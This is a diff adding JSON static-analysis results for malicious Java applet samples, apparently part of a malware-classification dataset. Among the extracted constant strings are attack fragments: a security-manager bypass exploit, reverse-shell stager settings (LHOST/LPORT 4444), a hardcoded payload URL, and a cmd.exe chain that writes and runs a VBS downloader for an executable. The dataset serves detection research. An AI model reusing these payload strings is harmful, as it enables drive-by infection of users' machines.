$(.,g\\xc0\\x80\\'-,1\\n&%&;\\x04&-,%", "#(?(g(>=g\\x08%9!(\\n&$9&: =,", "\\x1a;*", "*;,(=,\\n&\\'=,1=", "#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g\\x1b,\\'-,; \\'.\\x01 \\'=:", "-:/", ",;.-+!#\",;$:/i\"\\'/$", "&:g\\'($,", "", "\\x04(*", "&:g(;*!", "\\x7f}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c08cbd91f94c36836112270355051b51d2774fa5", "file_name": "java_malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf", "_id": "e9a3e6ab-1512-4d7d-a188-a35f7d20699e", "score": 0, "entropy": 6.069403150493488, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4533, "ssdeep": "96:+zUmFt8K6FlKZqLwAld5NLO2hDzmQltGeU5HJmVfiX/nqta2++J0:+zUOt83lKZqLwAldiUvmQaHhJmVfi/Rp", "sha256": "79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf", "md5": "b48a2f5c521c76ae1ae8a051be031a50", "parent_sha256": "79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a.results b/java_classification/data/malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a.results
new file mode 100755
index 0000000..68e7061
--- /dev/null
+++ b/java_classification/data/malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Sino", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>"], "minor_version": 0, "const_pool_count": 10}}, "_id": "ded3692d-5bd2-478f-9a83-5471d1cb31f4", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f266af4eb937a29cb97f262be2f5ca4ea1a42e0", "file_name": "java_malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a", "_id": "ded3692d-5bd2-478f-9a83-5471d1cb31f4", "score": 0, "entropy": 4.766837266744141, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 181, "ssdeep": "3:DbllHlMtDLMR6Np8ACK8PnQCK2XM2/bCK8PtzAmd/70AA2RE2Reylb/nhlVukUv:auMNSBPnzXMs6PtMmp70AA2R/RzckUv", "sha256": "79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a", "md5": "cab015a9d1dccaa91bc956ceaa828a66", "parent_sha256": "79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc.results b/java_classification/data/malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc.results
new file mode 100755
index 0000000..4664614
--- /dev/null
+++ b/java_classification/data/malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "37733453-fe72-4dbc-9611-7c893cf63fc8", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pl,Pl,PN,pL,PN,pN,pn,pn,pN,py,xW,p7,pe,Pw,pJ,Ke,PX,iK,L7,pe,Pu,Ps,oC,TO,Q6,Pu,Pg,pw,pR,XV,ln,kG,04,LN,kr,PG,lL,mL,KR,HW,x8,kt,IN,k3,pF,Tn,mW,03,Ln,ku,8g,Ll,K9,gs,ZU,Tp,Yk,XN,o7,ps,0e,PH,bl,9r,HR,O0,nS,0g,ps,Xr,Us,BP,l2,Mp,Tk,OW,fL,Kx,hx,hb,Yu,P7,p5,Pn,kJ,wq,WO,pG,Oc,04,5h,zq,W3,gR,gO,pu,oU,Pp,uk,JL,Kx,oS,ot,si,Ym,QX,l4,Du,Qu,Pu,PL,KK,lp,QS,bq,Cb,H5,TC,1W,pG,pk,OP,Vf,la,JP,YP,QQ,BN,kw,r3,cs,sO,pU,ke,P4,5x,zM,Qs,KK,LF,Ns,UR,Xu,5q,eG,so,sZ,Kv,ho,yu,SK,wC,su,TV,NU,5R,X5,5K,vW,3w,xg,pa,Ko,zy,QV,dT,pm,Xr,ee,PW,Co,02,pb,pf,3r,wP,Pk,OR,vv,pL,Ck,Hw,p3,EV,fs,ZW,qp,Sy,oV,6u,Tq,Jf,9M,SK,rw,t7,1O,pt,zU,P2,U8,4K,Or,vt,Hp,QS,fN,k4,5u,ll,Kp,td,nT,8U,SX,u0,Vn,kS,FU,pt,CL,5f,SJ,iQ,YQ,QN,MS,39,Ut,sk,kt,OM,nv,pG,JN,63,DT,Hz,aJ,kt,M5,SZ,zS,pX,kz,QW,Ke,Oc,Ek,WS,nL,KQ,Nw,T3,39,MQ,vl,Kv,lP,KL,KQ,N7,lg,sK,mL,K6,dL,KT,CK,un,KQ,NV,9k,sm,89,oK,NK,OK,Ol,N2,nv,nj,LN,xk,NO,zD,NQ,nH,XZ,B4,3u,cK,zl,J1,Kg,Fv,zt,op,pR,Lu,7P,wD,2S,ws,RQ,rR,ne,PR,Hb,Tb,TR,Pg,Jv,Ov,OC,F0,ia,bS,Cp,qc,T6,NQ,yP,n3,Vp,od,ou,33,WS,Yt,mQ,rP,ip,nd,or,D5,4v,Ob,Np,0T,pF,XF,QP,0g,Ft,rV,P6,Q4,sT,qu,hs,B0,0E,dT,pE,i3,zv,PS,RV,PP,0V,PU,fV,P5,aC,bu,64,pT,sP,7q,sc,Ut,r3,Qv,8C,Rp,0S,Uv,Sq,uQ,vt,yp,6s,iq,vU,2V,UP,6R,DS,Rr,F3,Qp,Zt,pU,aF,PT,pq,vd,pf,Wf,Pu,PC,0A,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "28f06aa86d49fe181156da6f158031c09b347001", "file_name": "java_malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc", "_id": "37733453-fe72-4dbc-9611-7c893cf63fc8", "score": 0, "entropy": 5.992663010008344, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3087, "ssdeep": "96:hFFl00DE8fzk3nK1esvRxC92XQjt9bKsCn:1lFDE8r2nQHvRxEkQpRKx", "sha256": "7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc", "md5": "81b12e8b46cecc7ab4637f2d5f5b3cf7", "parent_sha256": "7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc"}}
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diff --git a/java_classification/data/malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20.results b/java_classification/data/malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20.results
new file mode 100755
index 0000000..f58d89d
--- /dev/null
+++ b/java_classification/data/malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20.results
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+{"characteristics": {"java": {"class_name": "a/thtujqljq", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "debseutudvs", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "5554e867-18ae-4cc7-b1e7-70f6a64317bb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "53e3997ae251b778372d426c1e5cd0b4e234aaa6", "file_name": "java_malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20", "_id": "5554e867-18ae-4cc7-b1e7-70f6a64317bb", "score": 0, "entropy": 5.2125780572452065, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6962, "ssdeep": "192:TFzzCdl97i6Q8DEFep0xhi/To55UTYwa5hGX1:xz0BXEFm0yTofUTkc1", "sha256": "7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20", "md5": "b5b8aefe115707afc89a5e8324349ed4", "parent_sha256": "7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20"}}
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diff --git a/java_classification/data/malicious/7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde.results b/java_classification/data/malicious/7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde.results
new file mode 100755
index 0000000..9ad6983
--- /dev/null
+++ b/java_classification/data/malicious/7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/hymb", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "dzcvjazipmtadgopqim", "wcgzmrofeyntpzbwtde", "mxemfnfsrcyxnfj", "rxgmqqvcxgkgdqx", "ehablesfqbjerrzmv", "jqgtsfgulwsayiahkyo", "tcpmphzandtxbinw", "jlcmzocmpifkvgmvfku", "zjmemnkecmelmdr", "cmtthxshswtomolnu", "esfbivclcfjihga", "aogqshzrynpfowg", "vnjemliqxikovnhoke", "go", "nmfupwiihkvxkfafjfo", "ztfsuudhrqfvcnsvu", "lpreblhzaclsolfvsxk", "silpahxlxipnqiacq", "wwoifuopbnsnrhy", "aktahiupvkxvupexwy", "ncauxennfdfedei", "lqnbptwpvbkdkaf", "ozxldohnmjrgihp", "defcls", "yhawbetabfuznbb", "dcgbfxzsretqwyzm", "zzvliovalyycqjrens", "dyjjeptpwheydwuktsf", "egfqkqiwuxyoqpnztle", "lenmahpiscomuhzcpi", "wbaikykmzcjatnvmrrf", "sweimiizpugiwemf", "<clinit>"], "minor_version": 0, "const_pool_count": 657}}, "_id": "e965ce8d-5916-478a-9340-8bc89f8c5a91", "verbose": {"java": {"constant strings": ["sgakjtewtgarzjvr", "fabcrdgognjpi", "jpsuioxshnkpcfpunxzv", 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diff --git a/java_classification/data/malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068.results b/java_classification/data/malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068.results
new file mode 100755
index 0000000..1b33808
--- /dev/null
+++ b/java_classification/data/malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "HnbhrA.java", "class_name": "HnbhrA", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "BGPCAHifC", "TAwKc", "WPVsZgc"], "minor_version": 0, "const_pool_count": 147}}, "_id": "ca017ff7-34e7-4329-9460-1d2cec49375a", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.877696001396688}, "constant strings": ["/$3$k+ 1k\\x10\\x17\\t", "c-xtq", "*5 +\\x1617 $(", "/$3$k,*k\\x03,) \\n01501\\x1617 $(", "27,1 ", "close", " = &", "7 \"637vweh6eg", "g", "/$3$k,*k1(5!,7", "k = ", "", "/$3$k01,)k\\x17$+!*(", "+ =1\\x0c+1", "333#\"#\\'\\'\\'"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "098d08ec6d396242e25f6514ad6c4cc0f3104c4a", "file_name": "java_malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068", "_id": "ca017ff7-34e7-4329-9460-1d2cec49375a", "score": 0, "entropy": 3.422529388571347, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 19043, "ssdeep": "192:ijI0e4rzXp1dPmf3ze4Bx+8Rn/qJ96U3CvOW8lQdjnIfm8RZA5spjg+A0QqO3Vpb:90zr7zdmvze6+RW3Z7HTsc", "sha256": "7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068", "md5": "265952a462084ce763bde9cba1e19730", "parent_sha256": "7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649.results b/java_classification/data/malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649.results
new file mode 100755
index 0000000..606da4a
--- /dev/null
+++ b/java_classification/data/malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "gvcjmhuabewgvmujaekhcedh.java", "class_name": "wjrqfstrvkwwtlg/gvcjmhuabewgvmujaekhcedh", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "vdvagbsmgjwqw", "lmburuua"], "minor_version": 0, "const_pool_count": 148}}, "_id": "8a7a0f32-67aa-45ff-9af3-d39f95d0ff1b", "verbose": {"java": {"constant strings": ["4d57026d44154b", "wAbm", "5a06", "9Wfvv", "6a5749313a1255", "USq1", "4b2e", "l8hqdu", "5d6167", "akGrkH", "\\\\.", "48", "BfnF7SR", "14", "vj0ensr", "3b", "XyanjMK"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3a0f1652e87bfa172135ae42a22d666d5ca5c6d4", "file_name": "java_malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649", "_id": "8a7a0f32-67aa-45ff-9af3-d39f95d0ff1b", "score": 0, "entropy": 5.699444525081685, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2243, "ssdeep": "48:9RqcT3dy/qslfI1vfW4kjyR+yq9/sUDFilcH0vLb:ZTYdlA5NS7FxDFiseb", "sha256": "7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649", "md5": "429c06bf43882ce6d996b8076dd46268", "parent_sha256": "7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df.results b/java_classification/data/malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df.results
new file mode 100755
index 0000000..a2cca7f
--- /dev/null
+++ b/java_classification/data/malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "EXmBxpcPgB/JmiwCfG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "59a1ef4c-50d1-4c8b-a3e2-ba10ee1cd92e", "verbose": {"java": {"constant strings": ["EXmBxpcPgB.JmiwCfG", ".class", "/EXmBxpcPgB.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "EXmBxpcPgB.dat", "URL", "", "https:", "EXmBxpcPgB/JmiwCfGTrustManager.class", "JmiwCfGTrustManager.class", "AESPassword", "EXmBxpcPgB/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "EXmBxpcPgB.JmiwCfGTrustManager", "useFor", "java.net.URLConnection", "EXmBxpcPgB.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "JmiwCfG -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "98076818628e45af1c850c5b97a6973e668616c3", "file_name": "java_malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df", "_id": "59a1ef4c-50d1-4c8b-a3e2-ba10ee1cd92e", "score": 0, "entropy": 6.153046960931156, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMjDUB6+WOXThmApxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tl68tmUyNvpvUrKYvCkgHzbDrDF", "sha256": "7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df", "md5": "0bd7dd1e04fd5765b79452eec2928c87", "parent_sha256": "7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f.results b/java_classification/data/malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f.results
new file mode 100755
index 0000000..93c5af0
--- /dev/null
+++ b/java_classification/data/malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 45, "class_name": "FileFilter", "access_permissions": [], "interfaces": ["java/io/FilenameFilter"], "sourcefile": "FileFilter.java", "method_names": ["<init>", "accept", "addExtension"], "minor_version": 3, "const_pool_count": 84}}, "_id": "cfa1545d-cd32-4b36-96fa-33072691d028", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e51c07aa6194f2ddfd2d9b4959c23a9c2a7fe3c1", "file_name": "java_malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f", "_id": "cfa1545d-cd32-4b36-96fa-33072691d028", "score": 0, "entropy": 5.474636086335623, "libmagic": "compiled Java class data, version 45.3", "file_size": 1186, "ssdeep": "24:c7mL+aAZm0YRkwzy1hHcX4skI29PFTOznbVT4tbEKu9JOKkklHq7:xLUo04zIcpsPFTOznbVs+9JOKkklK7", "sha256": "7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f", "md5": "bff4b17fe4c52092a36010d70b1ab4a4", "parent_sha256": "7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb.results b/java_classification/data/malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb.results
new file mode 100755
index 0000000..a2b9ad2
--- /dev/null
+++ b/java_classification/data/malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "sDLtGBIpiq/FnkvJGb", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "8a934e78-6afa-4793-b5da-88ea3076210a", "verbose": {"java": {"constant strings": ["sDLtGBIpiq.FnkvJGb", ".class", "/sDLtGBIpiq.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "sDLtGBIpiq.dat", "URL", "", "https:", "sDLtGBIpiq/FnkvJGbTrustManager.class", "FnkvJGbTrustManager.class", "AESPassword", "sDLtGBIpiq/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "sDLtGBIpiq.FnkvJGbTrustManager", "useFor", "java.net.URLConnection", "sDLtGBIpiq.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "FnkvJGb -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bc18af9a47a2ff7a3ac1de519d0f899c948deab1", "file_name": "java_malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb", "_id": "8a934e78-6afa-4793-b5da-88ea3076210a", "score": 0, "entropy": 6.148862285932635, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMTDUBZ+WDJThm4XNxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tBZJtmANyNvpvUrKYvCkgHzbDrDF", "sha256": "7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb", "md5": "a1e5e818a8ed9e6f4cb20f6cba6d52da", "parent_sha256": "7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e.results b/java_classification/data/malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e.results
new file mode 100755
index 0000000..3284e63
--- /dev/null
+++ b/java_classification/data/malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "ImagMn.java", "class_name": "ImagMn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "joJOWJO", "bnbNBNBN", "bkBKBKBK", "hihIHIHI", "hjhJHJHJ", "bkbKBKBK", "nknKNK", "nknk", "nji", "start", "bjbjBJBJ", "jijIJIJIJI", "tyTYTYTY"], "minor_version": 0, "const_pool_count": 301}}, "_id": "a0e407d9-c1c7-4be1-806b-4ae73634d4a9", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "exit"}}}, "constant strings": ["L", "exit", "X", "http://217.23.7.170/test2.php", "uuyyee<init>(", "uuyyeeICC_Transform.getImageLayout("]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d32fc774e6506697d36df9b3965278e6ca86a62f", "file_name": "java_malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e", "_id": "a0e407d9-c1c7-4be1-806b-4ae73634d4a9", "score": 0, "entropy": 5.793986170014818, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7266, "ssdeep": "192:eBGl02j7g8lrVvhBUR2n1NCtRORww0wLk:e0GKtVv8g1QtKwQk", "sha256": "7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e", "md5": "346f0a479b73b36260a2e822247205ea", "parent_sha256": "7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68.results b/java_classification/data/malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68.results
new file mode 100755
index 0000000..547c7f1
--- /dev/null
+++ b/java_classification/data/malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "callBack"], "minor_version": 0, "const_pool_count": 77}}, "_id": "e49d6608-2d30-47a8-840c-8d09c8755234", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.899407133677853, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["js", "applet", "this.toString = function() {\\tjava.lang.System.setSecurityManager(null);\\tapplet.callBack();\\treturn String.fromCharCode(97 + Math.round(Math.random() * 25));};e = new Error();e.message = this;e", "calc.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "36b943498a50325a21da2498deac1042036a726a", "file_name": "java_malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68", "_id": "e49d6608-2d30-47a8-840c-8d09c8755234", "score": 10, "entropy": 5.560694168534669, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1459, "ssdeep": "24:KtQyQul2o69QJXJMmgL2+Iz4SgHWpC3pns6hokdzODfX/YN7db1j204/:KtQyFlP6mQm1rgHW83dsedgP0b1y//", "sha256": "7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68", "md5": "400b8ecb50bcdadd433d90c08ef21ad8", "parent_sha256": "7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c.results b/java_classification/data/malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c.results
new file mode 100755
index 0000000..5bd3867
--- /dev/null
+++ b/java_classification/data/malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "06242679-36fb-4f51-bc49-9f6a59193c33", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "uOXEv1ufSYs1SISEJ", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo gond=\"uOXEv1ufSYs1SISE\">>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\uOXEv1uf.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3192e9d0da4957627d928b389237dbebe25289fd", "file_name": "java_malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c", "_id": "06242679-36fb-4f51-bc49-9f6a59193c33", "score": 0, "entropy": 5.8912015132608095, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/ilgB3pDhZ0A5bGBQ/1BG1PiTx0i6PcUdvXdGOqxM89TAG8PnI:CzGl6lgB3pDv1GBk13WRPc6dsxM89bUI", "sha256": "7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c", "md5": "d23f91b5627521c7e2c802cbeab73c89", "parent_sha256": "7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c"}}
\ No newline at end of file
